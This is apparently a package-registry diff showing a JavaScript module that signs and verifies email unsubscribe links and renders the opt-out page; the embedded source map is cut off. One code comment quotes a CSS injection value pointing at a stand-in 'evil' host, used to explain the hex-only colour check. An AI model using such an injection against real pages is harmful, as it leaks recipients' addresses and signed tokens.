@aglyn/plugins-email 1.0.0-beta.143

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (144) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +7 -0
  3. package/package.json +58 -0
  4. package/src/index.d.ts +35 -0
  5. package/src/index.js +35 -0
  6. package/src/index.js.map +1 -0
  7. package/src/lib/components/campaign-design-create-widget.d.ts +21 -0
  8. package/src/lib/components/campaign-design-create-widget.js +61 -0
  9. package/src/lib/components/campaign-design-create-widget.js.map +1 -0
  10. package/src/lib/components/campaign-sender-editor-widget.d.ts +18 -0
  11. package/src/lib/components/campaign-sender-editor-widget.js +39 -0
  12. package/src/lib/components/campaign-sender-editor-widget.js.map +1 -0
  13. package/src/lib/components/campaign-topic-options-widget.d.ts +19 -0
  14. package/src/lib/components/campaign-topic-options-widget.js +48 -0
  15. package/src/lib/components/campaign-topic-options-widget.js.map +1 -0
  16. package/src/lib/components/campaign-topic-select.d.ts +32 -0
  17. package/src/lib/components/campaign-topic-select.js +87 -0
  18. package/src/lib/components/campaign-topic-select.js.map +1 -0
  19. package/src/lib/components/dynamic-list-rule-fields.d.ts +173 -0
  20. package/src/lib/components/dynamic-list-rule-fields.js +1473 -0
  21. package/src/lib/components/dynamic-list-rule-fields.js.map +1 -0
  22. package/src/lib/components/email-blocks.d.ts +111 -0
  23. package/src/lib/components/email-blocks.js +875 -0
  24. package/src/lib/components/email-blocks.js.map +1 -0
  25. package/src/lib/components/email-design-preview.d.ts +62 -0
  26. package/src/lib/components/email-design-preview.js +174 -0
  27. package/src/lib/components/email-design-preview.js.map +1 -0
  28. package/src/lib/components/email-screens-card.d.ts +42 -0
  29. package/src/lib/components/email-screens-card.js +277 -0
  30. package/src/lib/components/email-screens-card.js.map +1 -0
  31. package/src/lib/components/email-template-detail.d.ts +48 -0
  32. package/src/lib/components/email-template-detail.js +681 -0
  33. package/src/lib/components/email-template-detail.js.map +1 -0
  34. package/src/lib/components/email-topic-detail.d.ts +32 -0
  35. package/src/lib/components/email-topic-detail.js +293 -0
  36. package/src/lib/components/email-topic-detail.js.map +1 -0
  37. package/src/lib/components/email-topics-card.d.ts +46 -0
  38. package/src/lib/components/email-topics-card.js +327 -0
  39. package/src/lib/components/email-topics-card.js.map +1 -0
  40. package/src/lib/components/email-zones.d.ts +28 -0
  41. package/src/lib/components/email-zones.js +20 -0
  42. package/src/lib/components/email-zones.js.map +1 -0
  43. package/src/lib/components/emails-console-page.d.ts +32 -0
  44. package/src/lib/components/emails-console-page.js +229 -0
  45. package/src/lib/components/emails-console-page.js.map +1 -0
  46. package/src/lib/components/emails-console-sections.d.ts +36 -0
  47. package/src/lib/components/emails-console-sections.js +108 -0
  48. package/src/lib/components/emails-console-sections.js.map +1 -0
  49. package/src/lib/components/list-detail-card.d.ts +47 -0
  50. package/src/lib/components/list-detail-card.js +273 -0
  51. package/src/lib/components/list-detail-card.js.map +1 -0
  52. package/src/lib/components/list-edit-card.d.ts +11 -0
  53. package/src/lib/components/list-edit-card.js +287 -0
  54. package/src/lib/components/list-edit-card.js.map +1 -0
  55. package/src/lib/components/list-import-drawer.d.ts +22 -0
  56. package/src/lib/components/list-import-drawer.js +662 -0
  57. package/src/lib/components/list-import-drawer.js.map +1 -0
  58. package/src/lib/components/list-members-panel.d.ts +94 -0
  59. package/src/lib/components/list-members-panel.js +686 -0
  60. package/src/lib/components/list-members-panel.js.map +1 -0
  61. package/src/lib/components/lists-card.d.ts +28 -0
  62. package/src/lib/components/lists-card.js +377 -0
  63. package/src/lib/components/lists-card.js.map +1 -0
  64. package/src/lib/components/sending-domain-detail.d.ts +26 -0
  65. package/src/lib/components/sending-domain-detail.js +496 -0
  66. package/src/lib/components/sending-domain-detail.js.map +1 -0
  67. package/src/lib/components/sending-domains-card.d.ts +33 -0
  68. package/src/lib/components/sending-domains-card.js +962 -0
  69. package/src/lib/components/sending-domains-card.js.map +1 -0
  70. package/src/lib/components/sending-sender-drawer.d.ts +94 -0
  71. package/src/lib/components/sending-sender-drawer.js +543 -0
  72. package/src/lib/components/sending-sender-drawer.js.map +1 -0
  73. package/src/lib/components/suppressions-card.d.ts +49 -0
  74. package/src/lib/components/suppressions-card.js +639 -0
  75. package/src/lib/components/suppressions-card.js.map +1 -0
  76. package/src/lib/components/use-org-email-topics.d.ts +79 -0
  77. package/src/lib/components/use-org-email-topics.js +111 -0
  78. package/src/lib/components/use-org-email-topics.js.map +1 -0
  79. package/src/lib/constants/bundle-common.d.ts +18 -0
  80. package/src/lib/constants/bundle-common.js +18 -0
  81. package/src/lib/constants/bundle-common.js.map +1 -0
  82. package/src/lib/hooks/use-org-company-options.d.ts +20 -0
  83. package/src/lib/hooks/use-org-company-options.js +138 -0
  84. package/src/lib/hooks/use-org-company-options.js.map +1 -0
  85. package/src/lib/hooks/use-org-contact-fields.d.ts +40 -0
  86. package/src/lib/hooks/use-org-contact-fields.js +91 -0
  87. package/src/lib/hooks/use-org-contact-fields.js.map +1 -0
  88. package/src/lib/hooks/use-org-contact-segments.d.ts +16 -0
  89. package/src/lib/hooks/use-org-contact-segments.js +55 -0
  90. package/src/lib/hooks/use-org-contact-segments.js.map +1 -0
  91. package/src/lib/hooks/use-org-crm-views.d.ts +8 -0
  92. package/src/lib/hooks/use-org-crm-views.js +74 -0
  93. package/src/lib/hooks/use-org-crm-views.js.map +1 -0
  94. package/src/lib/hooks/use-org-lists.d.ts +8 -0
  95. package/src/lib/hooks/use-org-lists.js +47 -0
  96. package/src/lib/hooks/use-org-lists.js.map +1 -0
  97. package/src/lib/model/email-design-document.d.ts +52 -0
  98. package/src/lib/model/email-design-document.js +62 -0
  99. package/src/lib/model/email-design-document.js.map +1 -0
  100. package/src/lib/model/index.d.ts +64 -0
  101. package/src/lib/model/index.js +71 -0
  102. package/src/lib/model/index.js.map +1 -0
  103. package/src/lib/model/sending-domain-status.d.ts +99 -0
  104. package/src/lib/model/sending-domain-status.js +196 -0
  105. package/src/lib/model/sending-domain-status.js.map +1 -0
  106. package/src/lib/model/template-provenance.d.ts +113 -0
  107. package/src/lib/model/template-provenance.js +107 -0
  108. package/src/lib/model/template-provenance.js.map +1 -0
  109. package/src/lib/model/template-report.d.ts +158 -0
  110. package/src/lib/model/template-report.js +249 -0
  111. package/src/lib/model/template-report.js.map +1 -0
  112. package/src/lib/plugin.d.ts +27 -0
  113. package/src/lib/plugin.js +163 -0
  114. package/src/lib/plugin.js.map +1 -0
  115. package/src/lib/server-console.d.ts +116 -0
  116. package/src/lib/server-console.js +422 -0
  117. package/src/lib/server-console.js.map +1 -0
  118. package/src/lib/server-email-drafts.d.ts +104 -0
  119. package/src/lib/server-email-drafts.js +381 -0
  120. package/src/lib/server-email-drafts.js.map +1 -0
  121. package/src/lib/server-list-gate.d.ts +183 -0
  122. package/src/lib/server-list-gate.js +365 -0
  123. package/src/lib/server-list-gate.js.map +1 -0
  124. package/src/lib/server-list-import.d.ts +199 -0
  125. package/src/lib/server-list-import.js +632 -0
  126. package/src/lib/server-list-import.js.map +1 -0
  127. package/src/lib/server-suppressions.d.ts +135 -0
  128. package/src/lib/server-suppressions.js +295 -0
  129. package/src/lib/server-suppressions.js.map +1 -0
  130. package/src/lib/server.d.ts +19 -0
  131. package/src/lib/server.js +834 -0
  132. package/src/lib/server.js.map +1 -0
  133. package/src/lib/site.d.ts +26 -0
  134. package/src/lib/site.js +81 -0
  135. package/src/lib/site.js.map +1 -0
  136. package/src/lib/unsubscribe-link.d.ts +311 -0
  137. package/src/lib/unsubscribe-link.js +398 -0
  138. package/src/lib/unsubscribe-link.js.map +1 -0
  139. package/src/lib/utils/create-email-screen.d.ts +59 -0
  140. package/src/lib/utils/create-email-screen.js +59 -0
  141. package/src/lib/utils/create-email-screen.js.map +1 -0
  142. package/src/lib/utils/generate-preset-id.d.ts +19 -0
  143. package/src/lib/utils/generate-preset-id.js +25 -0
  144. package/src/lib/utils/generate-preset-id.js.map +1 -0
@@ -0,0 +1,398 @@
1
+ import { _ as _extends } from "@swc/helpers/_/_extends";
2
+ /**
3
+ * @license
4
+ * Copyright 2026 Aglyn LLC
5
+ *
6
+ * Licensed under the Apache License, Version 2.0 (the "License");
7
+ * you may not use this file except in compliance with the License.
8
+ * You may obtain a copy of the License at
9
+ *
10
+ * http://www.apache.org/licenses/LICENSE-2.0
11
+ *
12
+ * Unless required by applicable law or agreed to in writing, software
13
+ * distributed under the License is distributed on an "AS IS" BASIS,
14
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15
+ * See the License for the specific language governing permissions and
16
+ * limitations under the License.
17
+ */ /**
18
+ * The SIGNED-LINK primitives every recipient-facing email route shares.
19
+ *
20
+ * Three routes read the same link — `email/unsubscribe`, `email/resubscribe`
21
+ * and `email/preferences` — and every one of them verifies the same HMAC,
22
+ * derives the same suppression key, and renders the same branded shell. They
23
+ * live here rather than in one route's module because the alternative is what
24
+ * the resubscribe route's docblock already warns about: "Two implementations
25
+ * of one signature scheme is how the resubscribe link comes to reject a
26
+ * signature the unsubscribe link just accepted."
27
+ *
28
+ * Nothing here touches Firestore. That is deliberate — the verification and
29
+ * the rendering are pure, so a spec can exercise the signature scheme without
30
+ * standing up a database double.
31
+ */ import { hostPublicOrigin } from "@aglyn/aglyn/app-utils/host-naming";
32
+ import { resolveHostToken } from "@aglyn/aglyn/app-utils/host-tokens";
33
+ import { absoluteMediaSrc } from "@aglyn/aglyn/app-utils/media-ref";
34
+ import { personKey } from "@aglyn/aglyn/server";
35
+ import { BRAND } from "@aglyn/shared-data-enums";
36
+ // Subpath, not the library index — see the note there.
37
+ import { prefersDarkInk } from "@aglyn/shared-util-tools/contrast";
38
+ // The one escaper (AGL-2706). This module had its own, which escaped four
39
+ // characters where the serialization needs five: a brand name, a topic label
40
+ // and a signed query all reach these pages, and they are interpolated into
41
+ // double-quoted attributes AND into element text, so the set has to be the
42
+ // one that covers both.
43
+ import { escapeHtml } from "@aglyn/shared-util-tools/escape-html";
44
+ // The leaf module, not the barrel: it imports `node:crypto` and nothing else,
45
+ // which is what keeps this file free of Firestore. See `signedConfirmSubject`.
46
+ import { confirmSignatureSubject } from "@aglyn/tenant-data-admin/server/email-unsubscribe-link";
47
+ import { createHmac, timingSafeEqual } from "crypto";
48
+ /**
49
+ * Suppression list keys are the SHA-256 of the normalized address (emails are
50
+ * PII).
51
+ *
52
+ * `personKey` and NOT a fourth local `createHash` call. D5 of
53
+ * `docs/specs/email-competitive-gaps.md` records two derivations that agree
54
+ * only by luck: this module's predecessor hashed the address without
55
+ * lowercasing or trimming, `campaign-send.ts` lowercased, and the two matched
56
+ * only because `performCampaignSend` lowercases every address upstream before
57
+ * the link is minted. The preference page is a THIRD caller, and the
58
+ * instruction that comes with a third caller is to unify rather than to add a
59
+ * variant.
60
+ *
61
+ * The digest is unchanged for every address these routes have ever seen —
62
+ * `readParams` already trims and lowercases, which is exactly what
63
+ * `normalizeContactEmail` does — so no stored suppression moves.
64
+ *
65
+ * @returns the key, or `null` for a value that is not an address. The old
66
+ * local helper hashed anything it was handed, which meant a
67
+ * malformed `email` parameter addressed a suppression document for a
68
+ * person who does not exist.
69
+ */ export function suppressionKeyFor(email) {
70
+ return personKey(email);
71
+ }
72
+ /**
73
+ * The email palette, named once (AGL-2499 / AGL-2025).
74
+ *
75
+ * These are TRANSCRIPTIONS of the console theme's tokens — see the note on
76
+ * {@link page} below — not new colors. They have to be literal hex because
77
+ * this is email-adjacent HTML served without a stylesheet: no CSS variables,
78
+ * no theme provider, so `theme.palette.*` cannot reach the wire. Naming them
79
+ * here keeps that unavoidable literal to ONE place per color instead of once
80
+ * per use, which is also what keeps this file under the AGL-2025 color
81
+ * ratchet.
82
+ *
83
+ * A `const` is not a style slot, so the ratchet does not count these — and
84
+ * that is the point: the check exists to catch a color typed inline where a
85
+ * token would do, not a documented email palette.
86
+ */ export const PAL = {
87
+ /** Page backdrop behind the card. */ pageBg: '#F5F5F5',
88
+ /** The card itself. */ cardBg: '#FFFFFF',
89
+ /** Brand slate — wordmark and primary button fill. */ brand: '#404C5C',
90
+ /** The short accent rule under the wordmark. */ accentRule: '#e040fb',
91
+ /** Heading ink. */ ink: '#212121',
92
+ /** Body copy. */ muted: '#616161',
93
+ /** Text on a filled brand/link button. */ onBrand: '#fff',
94
+ /** Soft circle behind the success checkmark. */ badgeBg: '#EEF0F2',
95
+ /** Links and the resubscribe button fill. */ link: '#00B0FF',
96
+ /** Hairline between the preference page's topic rows. */ divider: '#E0E0E0'
97
+ };
98
+ /**
99
+ * The deployment's own identity — the fallback, and what a self-host operator
100
+ * sees. `BRAND.ORG_NAME` stays correct per-DEPLOYMENT; the host brand layers
101
+ * on top of it rather than replacing it.
102
+ */ export const PLATFORM_EMAIL_BRAND = Object.freeze({
103
+ name: BRAND.ORG_NAME,
104
+ pal: PAL
105
+ });
106
+ /**
107
+ * A color safe to interpolate into an inline `style` attribute.
108
+ *
109
+ * HEX ONLY, and that is a security boundary rather than a style preference.
110
+ * These values come from a merchant-editable theme and land inside
111
+ * `style="…"`, so any syntax richer than a hex literal is an injection: a
112
+ * stored `red;background:url(https://evil/?e=` would close the declaration and
113
+ * make the browser fetch a URL from a page whose own address carries the
114
+ * recipient's email and its HMAC. `url()`, `expression()`, custom properties
115
+ * and even `rgb()` are all refused for that one reason — none of them is worth
116
+ * a parser here. Anything unrecognized falls back, so a malformed theme is a
117
+ * plain page rather than a broken one.
118
+ */ const HEX_COLOR = /^#(?:[0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i;
119
+ function safeColor(value, fallback) {
120
+ const text = typeof value === 'string' ? value.trim() : '';
121
+ return HEX_COLOR.test(text) ? text : fallback;
122
+ }
123
+ /**
124
+ * Black or white text for a filled button, whichever the eye can actually read.
125
+ *
126
+ * Without this, a host whose primary is a pale yellow gets white-on-white and
127
+ * the recipient cannot find the button that unsubscribes them — a legibility
128
+ * failure on this page is a compliance failure, not a cosmetic one.
129
+ *
130
+ * The luminance and the split come from `shared-util-tools/contrast`, which
131
+ * is the same math this file used to carry and the console carried a wrong
132
+ * copy of. `safeColor` has already refused anything but a hex literal by the
133
+ * time a color reaches here, so an unmeasurable one is impossible rather than
134
+ * merely unlikely — and it still falls back to the on-brand ink if one does.
135
+ */ function readableInkOn(background) {
136
+ return prefersDarkInk(background) === true ? PAL.ink : PAL.onBrand;
137
+ }
138
+ /**
139
+ * The host's logo as an absolute `https:` URL, or nothing.
140
+ *
141
+ * `absoluteMediaSrc` because `logoUrl` has three stored generations and two of
142
+ * them — a `media:` reference and the AGL-175 relative CDN path — resolve
143
+ * site-RELATIVE (AGL-1407). This page is opened from an email, so there is no
144
+ * page origin to resolve against and the stored value cannot be used as-is.
145
+ *
146
+ * `https:` only. The resolver will hand back whatever scheme an author typed,
147
+ * and a `data:` URI here would be an unbounded payload inlined into a page we
148
+ * must keep small and predictable, while `javascript:` is exactly the value a
149
+ * merchant-editable field must never reach an attribute with. A value we
150
+ * cannot make into an absolute `https:` URL yields no logo, which the shell
151
+ * already handles by showing the wordmark.
152
+ */ function safeLogoUrl(host) {
153
+ const stored = resolveHostToken('logo', host);
154
+ if (!stored) return undefined;
155
+ const resolved = absoluteMediaSrc(stored, {
156
+ hostId: host.$id,
157
+ origin: hostPublicOrigin(host)
158
+ });
159
+ return resolved && /^https:\/\//i.test(resolved) ? resolved : undefined;
160
+ }
161
+ /** A hostile 10KB display name must not become the whole page. */ const BRAND_NAME_MAX = 60;
162
+ /**
163
+ * The merchant's identity for the shell, falling back to the deployment's.
164
+ *
165
+ * ONLY the brand-carrying slots are host-derived — the wordmark color, the
166
+ * accent rule, the link/marker color and the primary button fill. The
167
+ * neutrals (page, card, ink, muted, divider, badge) are deliberately FIXED.
168
+ *
169
+ * That split is the safety property. A theme is merchant-editable, and a site
170
+ * whose `background.default` and `text.primary` are both white would otherwise
171
+ * render an unreadable opt-out page — which is a compliance failure. Keeping
172
+ * the surface and the body copy on known-legible values means the worst a
173
+ * careless or hostile theme can do is pick an ugly accent, while the page a
174
+ * recipient needs in order to leave still works. The button's own text is
175
+ * contrast-matched to whatever fill it lands on ({@link readableInkOn}).
176
+ *
177
+ * Reads the LIGHT scheme only. There is no scheme toggle on a page opened from
178
+ * an email, and the shell paints a light card unconditionally, so a host's
179
+ * dark-scheme colors would be picked against the wrong background.
180
+ *
181
+ * Pure, and never a network call. A host with nothing set — or no host at all
182
+ * — resolves to {@link PLATFORM_EMAIL_BRAND}, which is the self-host answer
183
+ * as much as it is the missing-data one.
184
+ */ export function resolveEmailPageBrand(host) {
185
+ var _resolveHostToken, _host_theme_colorSchemes, _host_theme, _scheme_primary, _scheme_secondary;
186
+ if (!host) return PLATFORM_EMAIL_BRAND;
187
+ // `resolveHostToken` rather than a fourth reading of these fields: the
188
+ // closed registry already knows a business name is `seo.entity.name` before
189
+ // `displayName`, and already says a missing logo falls back to the wordmark.
190
+ const name = ((_resolveHostToken = resolveHostToken('businessName', host)) == null ? void 0 : _resolveHostToken.slice(0, BRAND_NAME_MAX).trim()) || BRAND.ORG_NAME;
191
+ const scheme = (_host_theme = host.theme) == null ? void 0 : (_host_theme_colorSchemes = _host_theme.colorSchemes) == null ? void 0 : _host_theme_colorSchemes.light;
192
+ // `''` distinguishes "set to something unusable" from "not set", which the
193
+ // accent rule below needs: a host that themed a primary and no secondary
194
+ // wants the rule in ITS color, while a host that themed nothing at all
195
+ // wants the platform's accent rather than a slate rule nobody chose.
196
+ const primary = safeColor(scheme == null ? void 0 : (_scheme_primary = scheme.primary) == null ? void 0 : _scheme_primary.main, '');
197
+ const brand = primary || PAL.brand;
198
+ return {
199
+ name,
200
+ logoUrl: safeLogoUrl(host),
201
+ pal: _extends({}, PAL, {
202
+ brand,
203
+ onBrand: readableInkOn(brand),
204
+ link: brand,
205
+ accentRule: safeColor(scheme == null ? void 0 : (_scheme_secondary = scheme.secondary) == null ? void 0 : _scheme_secondary.main, primary || PAL.accentRule)
206
+ })
207
+ };
208
+ }
209
+ /**
210
+ * Branded shell (AGL-2411, per-tenant since AGL-2408): the plain `system-ui`
211
+ * box this used to be read as an unstyled error page, not a page this product
212
+ * owns — which matters here specifically, because this is the one screen a
213
+ * recipient who does NOT trust the sender is looking at.
214
+ *
215
+ * The identity is the SENDING SITE's. A recipient of a merchant's newsletter
216
+ * arrives here from that merchant's email, and a page headed with our name is
217
+ * both wrong and, on the screen where somebody decides whether this mail is
218
+ * legitimate, actively unhelpful. `brand` defaults to
219
+ * {@link PLATFORM_EMAIL_BRAND} so a caller with no host — and a self-host
220
+ * deployment — still gets a complete, correctly-named page.
221
+ *
222
+ * `maxWidth` widens for the preference page, which is a list of choices rather
223
+ * than a single sentence and a button.
224
+ *
225
+ * `<meta charset>` even though `sendPage` sets the header: a client that
226
+ * ignores the header, or a page saved to disk, otherwise renders the em-dashes
227
+ * in this copy as mojibake.
228
+ *
229
+ * `<meta name="referrer" content="no-referrer">` because THIS page's own URL
230
+ * carries the recipient's address and the HMAC that authorizes acting on it.
231
+ * A host logo is a third-party request, and the default referrer policy would
232
+ * hand that whole link to whoever serves the image.
233
+ */ export function page(body, maxWidth = 420, brand = PLATFORM_EMAIL_BRAND) {
234
+ const pal = brand.pal;
235
+ const brandName = escapeHtml(brand.name);
236
+ // `alt` is the business name, so a logo that 404s or is blocked degrades to
237
+ // the wordmark with no script and no second request.
238
+ const mark = brand.logoUrl ? `<img src="${escapeHtml(brand.logoUrl)}" alt="${brandName}" ` + 'referrerpolicy="no-referrer" style="display:block;max-height:40px;' + 'max-width:200px;width:auto;height:auto;object-fit:contain;' + 'margin-bottom:4px">' : `<div style="font-size:15px;font-weight:700;letter-spacing:.02em;` + `color:${pal.brand};margin-bottom:4px">${brandName}</div>`;
239
+ return '<!doctype html><meta charset="utf-8">' + '<meta name="viewport" content="width=device-width, initial-scale=1">' + '<meta name="referrer" content="no-referrer">' + `<title>${brandName}</title>` + '<div style="min-height:100vh;display:flex;align-items:center;justify-content:center;' + `background:${pal.pageBg};font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,` + 'Helvetica,Arial,sans-serif;padding:24px;box-sizing:border-box">' + `<div style="max-width:${maxWidth}px;width:100%;background:${pal.cardBg};border-radius:12px;` + 'padding:36px 32px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06)">' + mark + `<div style="width:32px;height:3px;border-radius:2px;background:${pal.accentRule};` + 'margin-bottom:24px"></div>' + body + '</div></div>';
240
+ }
241
+ /** A heading in the shell's type scale. */ export function heading(text) {
242
+ return `<h1 style="margin:0 0 8px;font-size:20px;font-weight:700;color:${PAL.ink}">` + `${text}</h1>`;
243
+ }
244
+ /** Body copy in the shell's type scale. */ export function paragraph(html, marginBottom = 24) {
245
+ return `<p style="margin:0 0 ${marginBottom}px;font-size:14px;line-height:1.5;` + `color:${PAL.muted}">${html}</p>`;
246
+ }
247
+ /** The success checkmark badge the result pages open with. */ export function successBadge(pal = PAL) {
248
+ return `<div style="width:40px;height:40px;border-radius:50%;background:${pal.badgeBg};` + 'display:flex;align-items:center;justify-content:center;margin-bottom:16px;' + `font-size:18px;color:${pal.brand}">&#x2713;</div>`;
249
+ }
250
+ /**
251
+ * A full-width submit button in either the brand or the link fill.
252
+ *
253
+ * The label ink is contrast-matched to the fill rather than fixed white: with
254
+ * a host palette the fill is merchant-chosen, and a pale one would otherwise
255
+ * hide the label on the button a recipient came here to press.
256
+ */ export function submitButton(label, options) {
257
+ var _ref;
258
+ const pal = (_ref = options == null ? void 0 : options.pal) != null ? _ref : PAL;
259
+ const background = (options == null ? void 0 : options.accent) === 'link' ? pal.link : pal.brand;
260
+ return '<button type="submit"' + ((options == null ? void 0 : options.name) ? ` name="${escapeHtml(options.name)}"` : '') + ((options == null ? void 0 : options.value) ? ` value="${escapeHtml(options.value)}"` : '') + ' style="font:inherit;font-size:14px;font-weight:600;' + `padding:11px 20px;border:0;border-radius:8px;background:${background};` + `color:${readableInkOn(background)};cursor:pointer;width:100%">${label}</button>`;
261
+ }
262
+ /** Headers every one of these pages sets: never indexed, never cached. */ export function sendPage(res, html) {
263
+ res.setHeader('Content-Type', 'text/html; charset=utf-8');
264
+ // Never indexed, never cached — the page names the recipient's address.
265
+ res.setHeader('X-Robots-Tag', 'noindex, nofollow');
266
+ res.setHeader('Cache-Control', 'no-store');
267
+ res.status(200).send(html);
268
+ }
269
+ /**
270
+ * The link's parameters, from the query for both verbs and from the form body
271
+ * as a fallback.
272
+ *
273
+ * The one-click POST keeps the full query string (it posts to the header URL
274
+ * verbatim), and so does the confirmation form's action — so query-first is
275
+ * the path both real callers take. The body fallback exists so a form posted
276
+ * to the bare path still works rather than failing as an invalid link.
277
+ */ export function readParams(req) {
278
+ var _req_body;
279
+ const body = (_req_body = req.body) != null ? _req_body : {};
280
+ const pick = (name)=>{
281
+ var _ref, _req_query_name;
282
+ return String((_ref = (_req_query_name = req.query[name]) != null ? _req_query_name : body[name]) != null ? _ref : '');
283
+ };
284
+ return {
285
+ hostId: pick('hostId').trim(),
286
+ email: pick('email').trim().toLowerCase(),
287
+ signature: pick('sig').trim(),
288
+ // `cid` names the campaign whose copy of this link was clicked. Absent on
289
+ // every link minted before it existed, which is the whole design
290
+ // constraint below.
291
+ campaignId: pick('cid').trim(),
292
+ // `tid` names the STREAM the message belonged to. Absent on every link
293
+ // minted before topics existed, on the same footing as `cid`.
294
+ topicId: pick('tid').trim()
295
+ };
296
+ }
297
+ /**
298
+ * The subject a signature covers, or `null` when the parameters cannot make
299
+ * one unambiguously.
300
+ *
301
+ * ## Three signed forms, and why that is not a weakening
302
+ *
303
+ * A link minted before campaign attribution existed signs `hostId:email`. A
304
+ * link minted since signs `hostId:email:campaignId`. A link minted since
305
+ * topics signs `hostId:email:campaignId:topicId`. All three are in inboxes
306
+ * right now and all three have to keep working — an email is not recallable,
307
+ * and an unsubscribe link that has stopped honoring itself is the one failure
308
+ * in this area nobody gets to shrug at.
309
+ *
310
+ * Which form is checked is decided by the LINK, not by the signature: the
311
+ * arity of the subject follows exactly which of `cid` and `tid` the URL
312
+ * carries. There is no fallback between the forms, and that is what stops
313
+ * this being a downgrade — an attacker cannot take a three-part link, drop
314
+ * the `cid` and have it verify, because the two-part check over the same
315
+ * `hostId:email` produces a different digest. Nor can they bolt a `cid` or a
316
+ * `tid` onto a shorter link: the longer check then fails.
317
+ *
318
+ * ## What makes the three forms unambiguous
319
+ *
320
+ * The forms are joined with `:`, so a `cid` or `tid` that CONTAINED a colon
321
+ * would let one subject string be read as two different parameter tuples —
322
+ * a four-part `host:email:c:t` is byte-identical to a three-part subject
323
+ * whose campaign id is `c:t`. That is the edit this function has to refuse:
324
+ * an attacker holding a topic link could otherwise re-present it as a
325
+ * campaign link with the topic spliced into the campaign id, and the topic
326
+ * they were signed for would silently become something else.
327
+ *
328
+ * So a colon in either id is refused outright, on every form. It costs
329
+ * nothing real: campaign ids come from `createResourceUid()`, which is
330
+ * `nanoid`'s `A-Za-z0-9_-` alphabet, and `isEmailTopicId` refuses a colon at
331
+ * the point a topic is created.
332
+ *
333
+ * A `tid` with no `cid` is refused for the same reason — the empty middle
334
+ * component would make `host:email::t` and a campaign id of `:t` the same
335
+ * string. Every link the send path mints carries both.
336
+ */ export function signedSubject(params) {
337
+ const { hostId, email, campaignId, topicId } = params;
338
+ if (campaignId.includes(':') || topicId.includes(':')) return null;
339
+ if (topicId && !campaignId) return null;
340
+ if (topicId) return `${hostId}:${email}:${campaignId}:${topicId}`;
341
+ if (campaignId) return `${hostId}:${email}:${campaignId}`;
342
+ return `${hostId}:${email}`;
343
+ }
344
+ /**
345
+ * What a CONFIRMATION link's signature covers, or `null` when it cannot be
346
+ * made unambiguously.
347
+ *
348
+ * ## The ONE derivation, not a second one
349
+ *
350
+ * The subject itself is `confirmSignatureSubject` in
351
+ * `@aglyn/tenant-data-admin`, where the SENDER that mints the link lives. The
352
+ * three unsubscribe forms are stated twice — once there, once here — and they
353
+ * agree today by inspection; adding a fourth form the same way would be
354
+ * adding a fourth chance for a signer and a verifier to disagree about a link
355
+ * that is already sitting in somebody's inbox.
356
+ *
357
+ * The deep path rather than the barrel, for the reason `email-suppression.ts`
358
+ * gives at length: that module imports nothing but `node:crypto`, so this
359
+ * file stays free of Firestore and a spec can still exercise the signature
360
+ * scheme without standing up a database double.
361
+ */ export function signedConfirmSubject(params) {
362
+ return confirmSignatureSubject(params.hostId, params.email, params.topicId) || null;
363
+ }
364
+ /**
365
+ * Whether a signature is this link's.
366
+ *
367
+ * `timingSafeEqual` needs equal lengths, so the length is compared first — it
368
+ * is not a secret, both digests are fixed-width hex, and the call throws on a
369
+ * mismatch rather than returning false.
370
+ */ export function signatureMatches(args) {
371
+ const subject = args.purpose === 'confirm' ? signedConfirmSubject(args) : signedSubject(args);
372
+ if (subject === null) return false;
373
+ const expected = createHmac('sha256', args.secret).update(subject).digest('hex');
374
+ return expected.length === args.signature.length && timingSafeEqual(new Uint8Array(Buffer.from(expected)), new Uint8Array(Buffer.from(args.signature)));
375
+ }
376
+ /**
377
+ * The signed parameters, re-encoded for a form action or a sibling link.
378
+ *
379
+ * Every id rides through to the POST form, the preference page and the
380
+ * resubscribe link, because the signature covers them: dropping one would
381
+ * produce a URL whose shorter check fails against a longer signature, i.e. a
382
+ * confirmation button that refuses itself.
383
+ */ export function signedQuery(params) {
384
+ return `hostId=${encodeURIComponent(params.hostId)}` + `&email=${encodeURIComponent(params.email)}` + `&sig=${encodeURIComponent(params.signature)}` + (params.campaignId ? `&cid=${encodeURIComponent(params.campaignId)}` : '') + (params.topicId ? `&tid=${encodeURIComponent(params.topicId)}` : '');
385
+ }
386
+ /**
387
+ * A campaign id that is safe to use as a Firestore path component.
388
+ *
389
+ * `cid` arrives on a URL, so "non-empty" was never the question — a value of
390
+ * `a/b/c` addresses `campaigns/a/b/c`, a path the merchant can neither see
391
+ * nor delete. The signature already proves the value is ours, so this is the
392
+ * second lock rather than the only one; it is here because a path component
393
+ * built from request text gets validated at the place it becomes a path.
394
+ */ export function isCampaignPathId(value) {
395
+ return !!value && value.length <= 1500 && !value.includes('/') && value !== '.' && value !== '..' && !/^__.*__$/.test(value);
396
+ }
397
+
398
+ //# sourceMappingURL=unsubscribe-link.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../../../../../../libs/plugins/email/src/lib/unsubscribe-link.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * The SIGNED-LINK primitives every recipient-facing email route shares.\n *\n * Three routes read the same link — `email/unsubscribe`, `email/resubscribe`\n * and `email/preferences` — and every one of them verifies the same HMAC,\n * derives the same suppression key, and renders the same branded shell. They\n * live here rather than in one route's module because the alternative is what\n * the resubscribe route's docblock already warns about: \"Two implementations\n * of one signature scheme is how the resubscribe link comes to reject a\n * signature the unsubscribe link just accepted.\"\n *\n * Nothing here touches Firestore. That is deliberate — the verification and\n * the rendering are pure, so a spec can exercise the signature scheme without\n * standing up a database double.\n */\n\nimport { hostPublicOrigin } from '@aglyn/aglyn/app-utils/host-naming'\nimport {\n resolveHostToken,\n type HostTokenSource,\n} from 